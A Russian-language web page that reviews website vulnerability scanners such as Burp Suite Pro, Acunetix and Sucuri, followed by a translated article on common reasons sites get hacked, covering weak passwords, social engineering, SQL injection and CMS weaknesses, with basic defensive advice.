Во вкладке Issue Definition размещен полный перечень всех уязвимостей, которые способна обнаружить программа. Надо сказать, что перечень довольно большой.

Issue Definition

Все уязвимости разделены на 3 группы: high, medium, low. Кроме того, есть группа information, включающая в себя алгоритмы сбора разных полезных данных о проверяемом сайте. Запустив сканирование, в окне Scan queue вы сможете увидеть поэтапный процесс анализа. Есть различия по цвету.

Во вкладке Options выполняют основную настройку параметров анализа.

Options

Чтобы пользователю было удобнее, все опции поделены на категории. Есть возможность получить справку по каждой категории напрямую из окна настройки.

Результат сканирования Burp Suite Pro оказался в целом неплохим. При анализе php.testsparker.com сканер выявил и классифицировал довольно много уязвимостей для получения полного контроля над приложением и информацией в нем: это и OS command injection, и SSTI, и File path traversal.

На сайте premium.bgabank.com сканер нашел:

  • H: Cross-site scripting (reflected).

  • M: SSL cookie without secure flag set.

  • M: SSL certificate (not trusted or expired).

  • L: Cookie without HttpOnly flag set.

  • L: Password field with autocomplete enabled.

  • L: Strict transport security not enforced.

Если вы предпочитаете для веб-пентеста Burp Suite, довольны его функционалом, но хотели бы сделать поиск уязвимостей на сайте более автоматизированным, эта утилита станет отличным решением.

Acunetix

Acunetix

И, наконец, еще один достойный платный инструмент. Его активно рекламируют, однако Acunetix не стал бы популярным без своего богатого функционала. Как искать уязвимости сайта с его помощью? Сканер выявляет уязвимости SQL injection всех видов, Cross site scripting, CRLF injection и другие слабые места в веб-приложениях. При этом для качественного анализа важно правильно выбрать профиль.

Все выявленные уязвимости делятся на группы: High, Medium, Low. Ну и, конечно, категория Information с самой интересной, по мнению программы, информацией тоже здесь есть.

Во вкладке Scans вы можете следить за процессом проверки и другими диагностическими данными.

Scans

После анализа во вкладке Vulnerabilities отображаются выявленные виды и количество уязвимостей. Дифференциация по цветам также присутствует.

При тестировании на php.testsparker.com программа неплохо себя показала, а вот с premium.bgabank.com ожиданий не оправдала.

Acunetix обладает обширными возможностями и полезен тем, кто нуждается в stand-alone решении. Имеет простой и понятный интерфейс. Инфографика и отчетность выглядят весьма приемлемо. При анализе не исключены ошибки.

ТОП-10 бесплатных сканеров уязвимостей сайтов

Один из важнейших параметров в сфере IT — безопасность. Известно ли вам, что уязвимости есть у 95 % тестируемых приложений?

На диаграмме от Cenzic отражены выявленные уязвимости разных видов.

На диаграмме от Cenzic отражены выявленные уязвимости разных видов

Предлагаем ознакомиться с перечнем бесплатных инструментов, позволяющих проверять сайты, выявлять на них уязвимости и вредоносные программы:

  • Scan My Server;

  • SUCURI;

  • Qualys SSL Labs, Qualys FreeScan;

  • Quttera;

  • Detectify;

  • SiteGuarding;

  • Web Inspector;

  • Asafa Web;

  • Netsparker Cloud;

  • UpGuard Web Scan;

  • Tinfoil Security.

  1. Scan My Server

    Программа формирует максимально полную отчетность по проверке безопасности: SQL-инъекциям, межсайтовому скриптингу, инъекциям PHP-кода, выявлению источника, установке HTTP-заголовков и многим другим параметрам.

    Отчет по итогам проверки, включающий в себя краткое описание обнаруженных уязвимостей, направляется по email.

  2. SUCURI

    SUCURI — самый востребованный бесплатный сканер опасных программ. Позволяет оперативно проверять, есть ли на сайте вредоносный код, SPAM-инъекции, не включен ли веб-ресурс в разные черные списки.

    SUCURI также чистит сайт и защищает его от интернет-угроз. Сканер работает на любых CMS, в том числе на WordPress, Joomla, Magento, Drupal, phpBB и т. д.

  3. Qualys SSL Labs, Qualys FreeScan

    SSL Labs — одна из самых известных программ для проверки SSL. Углубленно анализирует https URL-адреса, общий рейтинг, шифр, версию SSL/TLS, имитацию рукопожатий, данные о протоколе, BEAST и т. д.

    FreeScan проверяет сайты на наличие OWASP Top Risks и опасных программ, анализирует параметры SCP и проводит другие виды тестирования. Чтобы проверить сайт на уязвимости, необходимо создать бесплатную учетную запись.

  4. Quttera

    Инструмент выявляет опасные программы и уязвимости на сайте. Quttera проверяет, есть ли на веб-ресурсе вредоносные, подозрительные и потенциально подозрительные файлы, phishTank, а также проверяет, присутствует ли сайт в списках безопасного просмотра (Google, Yandex) и вредоносных программ.

  5. Detectify

    Программа для поиска уязвимостей на сайте, основанная на SaaS. С помощью сканера можно автоматически выполнять свыше 100 тестов безопасности, включая тестирование OWASP Top 10, проверять, нет ли на сайте опасного ПО и т. д.

    Detectify предлагает бесплатный тестовый период на 21 день.

  6. SiteGuarding

    С помощью SiteGuarding можно проверять наличие на домене вредоносного ПО, SPAM-инъекций, определять, нет ли сайта в черных списках, и получать другую информацию.

    Программа совместима с WordPress, Joomla, Drupal, Magento, osCommerce, Bulletin и другими движками.

    SiteGuarding также подходит для удаления вредоносного ПО с сайта.

  7. Web Inspector

    Web Inspector проверяет сайт и формирует отчетность: «черный список», «фишинг», «вредоносные программы», «черви», «бэкдоры», «трояны», «подозрительные фреймы», «подозрительные подключения».

  8. Asafa Web

    Asafa Web позволяет сканировать трассировку, пользовательские ошибки, трассировку стека, патча Hash DoS, журнала EMLAH, HTTP Only Cookies, Secure Cookies, Clickjacking и т. д.

  9. Netsparker Cloud

    Netsparker Cloud проверяет веб-приложения на безопасность и может выявить свыше 25 опасных уязвимостей. Для веб-ресурсов с открытым исходным кодом программа бесплатна. Кроме того, вы можете воспользоваться ее пробной версией.

  10. UpGuard Web Scan

    Этот сканер оценивает внешние риски. При анализе использует общедоступные данные по разным факторам, включая SSL, атаки Clickjack, Cookie, DNSSEC, заголовки и прочее. Сейчас находится на этапе бета-тестирования, но попробовать его стоит.

  11. Tinfoil Security

    В первую очередь инструмент проверяет ресурс на наличие десяти уязвимостей OWASP, а потом на другие известные угрозы. В результате сканер формирует отчет о выполненной работе, на основе которого можно внести необходимые исправления и заново проверить сайт на уязвимости онлайн.

    На полную настройку уходит около 5 минут. Инструмент может проверять даже те сайты, которые защищены или требуют регистрации для входа.

    Один из основных факторов безопасности любого ресурса — непрерывный мониторинг. Поэтому сервис сообщает о сбое или попытке взлома.

С помощью всех этих программ вы можете проверять ресурс по запросу и планировать автоматический анализ сайта на уязвимости. Надеемся, что они позволят вам обеспечить безопасность своего веб-ресурса.

Что делать, если злоумышленники уже воспользовались уязвимостью вашего сайта

Что делать, если злоумышленники уже воспользовались уязвимостью вашего сайта

Выявлять потенциальные проблемы и проверять уязвимости сайтов следует регулярно, минимум раз в месяц, а в идеале — чаще, поскольку в случае взлома вы понесете серьезный ущерб.

И в завершение хотим дать несколько общих рекомендаций по защите веб-ресурса. Возможно, опытным специалистам они покажутся элементарными, но начинающим веб-мастерам пригодятся.

  • Оперативно загружайте новую версию CMS.

  • Пользуйтесь плагинами для защиты сайта (для WordPress подойдет Wordfence или Sucuri) и непременно обновляйте их версии.

  • Ставьте сложный пароль и постоянно меняйте его.

  • Обязательно меняйте пароль, если сообщили его третьему лицу (программисту, SEO-оптимизатору и т. д.).

  • Не загружайте темы и плагины из непроверенных источников.

  • Подключайте сайт к Яндекс.Вебмастеру, чтобы своевременно получать нужную информацию при возникновении неполадок.

  • Регулярно делайте бэкапы, в том числе на локальный компьютер.

  • Поставьте на компьютер антивирус и постоянно проверяйте его на вирусы.

Скачайте полезный документ по теме:

Чек-лист: Как добиваться своих целей в переговорах с клиентами

Если ваш ресурс подвергся атаке, восстановления (бэкапа) будет недостаточно. Как действовать? В такой ситуации необходимо:

  • сразу же выявить, какие файлы были изменены (заменены), например index.php, шаблон, изображение и т. д.;

  • сделать скриншоты последствий;

  • сообщить о случившемуся хостинг-провайдеру (и согласовать с ним все действия);

  • запротоколировать файлы сайта в отдельном каталоге вместе с доступом, временем и модификацией;

  • восстановить (бэкап), воспользовавшись резервной копией сайта или при помощи хостера;

  • скачать логи ошибок (доступа) к сайту или попросить их у хостера (после чего скопировать в отдельный каталог);

  • проанализировать время изменения сайтов и соотнести их с указанным временем в логах (это поможет установить характер уязвимости и IP-адрес хакера);

  • обновить скрипты и, если это невозможно, перестать использовать все уязвимые модули;

  • поменять пароли доступа (ВСЕ!).

Дмитрий Свистунов

Статья опубликована: 19.11.2019

Облако тегов

Понравилась статья? Поделитесь:

Пока использование ПО и электронных систем не по правилам ещё не вышли из-под контроля, хакерами считались предприимчивые умники, неутомимые исследователи компьютерных систем, если хотите. 

Но чем больше хакеры наживались нечестным образом за счёт их талантов, тем более негативную окраску приобретало само слово “хакер”, и теперь люди воспринимают хакеров, в общем, как злонамеренных взломщиков систем.

Однако, ещё не всё потеряно – остались среди хакеров и хорошие ребята, умениями которых выявляются слабые места различных систем, их нелёгким трудом устраняются недостатки, чтобы уберечь системы от их злокозненных собратьев.

1. С-ходу-разгадываемые пароли

Подбор пароля – один из самых быстрых способов взлома любого аккаунта. По данным исследования компании Sophos, 33 % пользователей применяют на разных сайтах одни и те же пароли. То есть, хакер, сумевший вскрыть Facebook-аккаунт такого человека, сможет добраться через тот же пароль и до его аккаунтов в других сервисах. 

Печально знаменитая хакерская атака на серверы Gawker (Gawker hack) 2010 года показала, до чего беспечны бывают люди при выборе паролей. Проверьте, не столь же прост ваш пароль, как нижеследующие:

  • 123456”: Совершенно непростительная глупость: допустить взлом своего веб-сайта или аккаунта явно из-за собственной лени. 
  • “password” (“пароль”): Помню, смотрел я фильм с Лесли Нильсеном (Leslie Nielsen) под названием “Без вины виноватый” (“Wrongfully Accused”), пародию на “Беглеца” (“The Fugitive”), и смеялся над тем, как он запросто отгадал пароль негодяя. Пароль? Точно – “пароль”. На экране-то оно смешно, а если бы с вами такое случилось, вам бы наверное было НЕ до смеха. Избегайте подобных паролей всеми силами. 
  • qwerty”: Ещё один расхожий легко разгадываемый пароль. Что, фантазия хлопнулась кверху брюшком и отдала концы?
  • trustno1” (“никому не верю”): Я, честно говоря, посмеялся, обнаружив это в первой десятке самых употребительных паролей, задействованных при взломе серверов Gawker. Агенты Малдер и Скалли на раздаче – кому хорошую порцию теории заговора? 
  • iloveyou”: Ага, хакер вас тоже любит, потому к вам и залез.
  • f***you”: Бранные междометья, очевидно, тут не помогут.
  • blahblah” (“бе-бе-бе”): Если вам лень напрячь мозги и придумать настоящий пароль, то и вам бе-бе-бе.

Среди прочих паролей, верно угаданных хакерами при взломе серверов Gawker, были “lifehack” (“уловка”), “11111”, “letmein” (“впустите”), “superman”, “batman”, “sunshine” (“солнышко”), “starwars” (“звёздные войны”), “whatever” (“наплевать”), “computer”, “killer”, “welcome”, “internet” и “master”.

2. Лёгкая доступность ПО для подбора паролей

Часто не отягощённые излишками морали, да и знаний хакеры пользуются специальным ПО для подбора паролей. Легкодоступных программ вскрытия паролей в сети полно, нехорошие люди задействуют эти программные средства, работающие с интенсивностью аж до 8 миллионов вариантов в секунду! Изгнать производителей этого ПО с рынка невозможно, так что пользователю остаётся лишь чаще менять пароли и задавать их такими хитрыми способами, чтобы их не щёлкали, как семечки.

3. Податливость к воздействию методами социотехники

Социотехника – искусное воздействие хакеров-злоумышленников на людей и компьютеры, как правило, с целью получить доступ к чужим ресурсам.

Вот отличный пример, один из наших любимых: в августе этого года Twitter-аккаунт комедийного актёра Эрика Столханске (Erik Stolhanske) был взломан экспертом по киберзащите, знавшим только его имя. Они заранее договорились между собой о том, что эксперт попробует это сделать, а скорость и лёгкость взлома его Twitter-аккаунта удивили Столханске.

Итак, через поиск на Spokeo.com эксперт получил личные данные Столханске. Указав адрес электронной почты Столханске, он добрался до списка желаемых приобретений Столханске в сервисе Amazon. Несколькими телефонными звонками на Amazon.com он добился установления его, якобы, личности и доступа к “его” аккаунту. Короче говоря, опознанный по последним четырём цифрам номера кредитной карты Столханске, он проник в его электронный почтовый ящик, а через аккаунт почты переустановил пароль в Twitter.

Здорово, правда? И всё методами одной лишь социотехники, без высокоточной хитромудрой хакерской механики. 

4. Слабость защиты ресурсов веб-хостинга

Крупнейшие поставщики услуг веб-хостинга обычно не жалеют денег на максимально надёжную защиту, но пронырливые хакеры “подбирают отмычки” и к их ресурсам – к серверам виртуального хостинга и к VPS-аккаунтам. Чем крупнее компания-поставщик услуг веб-хостинга, тем более лакомый это кусок для хакера, ведь на её серверах хранится огромный объём данных, которые можно задействовать для взлома других серверов. 

Хорошо, что такие компании могут защитить аккаунты их пользователей, скрывая их из вида и возводя мощные межсетевые экраны-брандмауэры. Имеется и ПО для лёгкого распознавания/предотвращения DDoS-атак, которое не помешало бы установить у себя каждой компании для защиты своих ресурсов и данных.

5. Податливость PHP-кодировки ко взлому

Один из самых лёгких способов взлома, испробованных хакерами – дистанционное добавление командных кодов, и случается это практически с ЛЮБЫМ веб-сайтом, принимающим пользовательские файлы, обычно, с PHP-сайтом. Злонамеренное добавление файлов влечёт за собой кражи информации из базы данных и утечки сведений о пользователях – имён, адресов, номеров кредитных карт. Для специалиста по PHP-защите устранение слабых мест в PHP-кодировке не должно составить труда.

6. Податливость ресурсов к SQL-внедрению

SQL-внедрение – разновидность хакерской атаки, проникновение в обход слабой защиты веб-сайта с последующим повреждением базы данных. Проще говоря, взломщик посылает базе данных команды (как бы “гипнотизирует” её), обращаясь к серверу через MySQL, внедряет нужные для выполнения его команд коды и добивается своего. 

Подобные атаки путём SQL-внедрения могут устраивать даже новички, что делает их ещё опаснее. К счастью, от них можно защититься с помощью средств автоматической проверки ваших систем, баз данных или приложений на податливость и подверженность риску возможного SQL-внедрения. От таких угроз защищают и приёмы безопасной вёрстки программной части ресурсов.

Множество полезных советов по защите от этой разновидности хакерских атак содержится также в памятке OWASP (Open Web Application Security Project) по предупреждению SQL-внедрений (SQL Injection Prevention Cheat Sheet).

7. Слабость системы шифрования данных

Недавно, в начале октября 2013, произошла утечка данных из систем Adobe в результате массированной атаки на аккаунты 150 миллионов пользователей Adobe, хакеры тогда поживились адресами электронной почты, паролями, данными кредитных карт и прочими ценнейшими сведениями. Пароли некоторых пользователей было разгадать легко, но таких из 150 миллионов вскрытых аккаунтов набралось всего 3 %. Вину за ущерб остальным можно возложить на хранящую по этому поводу молчание Adobe, чьим решением было выбрано шифрование данных способом построения симметричной криптосистемы, а не свёртки.

8. Уязвимость ресурсов на базе WordPress

Множество торговых онлайн-ресурсов пользуются в их работе WordPress, и мало кто подозревает, что тем самым они подвергают их сайты риску возможных И неизбежных хакерских атак. В случае их взлома запуск хакерами DDOS-атак (Distributed Denial of Service) – всего лишь вопрос времени. Хакеры заражают серверы, взаимодействующие с тем, где размещён ресурс, и наращивают мощь их ударного трафика. ИТ-специалист Стивен Вельдкамп (Steven Veldkamp) раскрыл показательный пример такого сценария, то есть, случившейся ранее 26-секундной DDOS-атаки на один из его сайтов, запущенной, как оказалось, из 569 самостоятельных WordPress-блогов.

Что же делать? Постоянно обновлять ваше WordPress-ПО. Выяснилось, что 7 из 10 владельцев WordPress-сайтов не выполняют обязательного обновления ресурсов, подвергая их серьёзному риску взлома, так что, обновляйтесь почаще, чтобы защититься от явных угроз. Вам может пригодиться отличное средство защиты, например, лёгкий в использовании просмотрщик Online WordPress Scan.

9. Уязвимость системы Joomla

Joomla – замечательная система управления контентом (CMS), очень популярная, удобная для пользователей, но не спасающая их от различных угроз. Владельцы сайтов на её базе пострадали по следующим причинам:

  • проявляли беспечность, задавая настройки их сайтов;
  • забывали обновлять их сайты и устанавливать последнюю версию Joomla;
  • пользовались плохо защищёнными расширениями сторонних производителей или устаревшими версиями.

Для предотвращения хакерских атак можно принять ряд мер, в том числе, приступая к настройке вашего Joomla-сайта, заменить присвоенный по умолчанию префикс базы данных. Кроме того, встречаются хакеры, выборочно взламывающие Joomla-расширения, можно усложнить им задачу, скрыв номер версии и оставив только название расширения. Пожалуй, выявить слабые места вашего Joomla-сайта проще всего с помощью просмотрщика Joomla Security Scanner.

10. Людские врождённые любопытство, доверчивость и жадность

Кто-то может возразить, дескать, хакеры всё изощрённее задействуют последние технологические новинки для взлома веб-сайтов, но давайте посмотрим в зеркало и спросим себя, не по собственной ли вине мы страдаем. Не обновляя ваше WordPress-ПО, вы сами приглашаете хакеров со всего света проверить ваш сайт на прочность. Это халатность, дамы и господа. Вредоносное ПО всегда распространялось любопытными пользователями, кликающими по ссылкам или открывающими вложения в письма, и те, кто всё это рассылал, редко ошибались в готовности людей сунуть нос, куда не надо. 

О человеческих слабостях можно говорить и дальше, однако, если вы намерены защищаться от хакеров, то будьте осторожны и старайтесь следовать этим непреложным правилам:

  • Не зарьтесь ни на что
  • Не верьте никому
  • Проверяйте всё

Простые меры защиты от хакерских атак

1. Избавьтесь от пристрастия к дурацким паролям

Кроме того, пароли нужно менять регулярно, каждый месяц или хотя бы раз в полгода.

Ещё хорошо бы выбирать пароли не из числа реально существующих слов, при этом, обязательно чередовать в них буквы верхнего и нижнего регистров. Использование цифр и знаков – тоже удачный приём, но только не на конце слов, а где-нибудь внутри них. 

Рекомендация: не используйте даты рождения и прочие известные сочетания цифр, лучше задействуйте слово, понятное и значимое только для вас и ваших близких (например, ласкательные прозвища и обращения вроде “loveyhoneyboo” – “лапусямусядуся”), но с трудом разгадываемое посторонними. 

2. Предложите кому-нибудь взломать ваш сайт

Среди хакеров есть ребята, выступающие на стороне “хороших парней”, и если вы ведёте серьёзные дела в онлайн-режиме, то вам, наверное, стоит обратиться к ним с просьбой взломать ваш сайт и посмотреть, как предотвратить покушения на его безопасность в дальнейшем. 

3. ЧАЩЕ обновляйте ваше ПО

Взломщики неустанно ищут “лазейки” в системах защиты ПО и пути их использования, поэтому, обновляя серверную ОС и прочее используемое вашим сайтом ПО, вы задействуете новейшие специализированные разработки для предотвращения взлома вашего сайта.

Добавить комментарий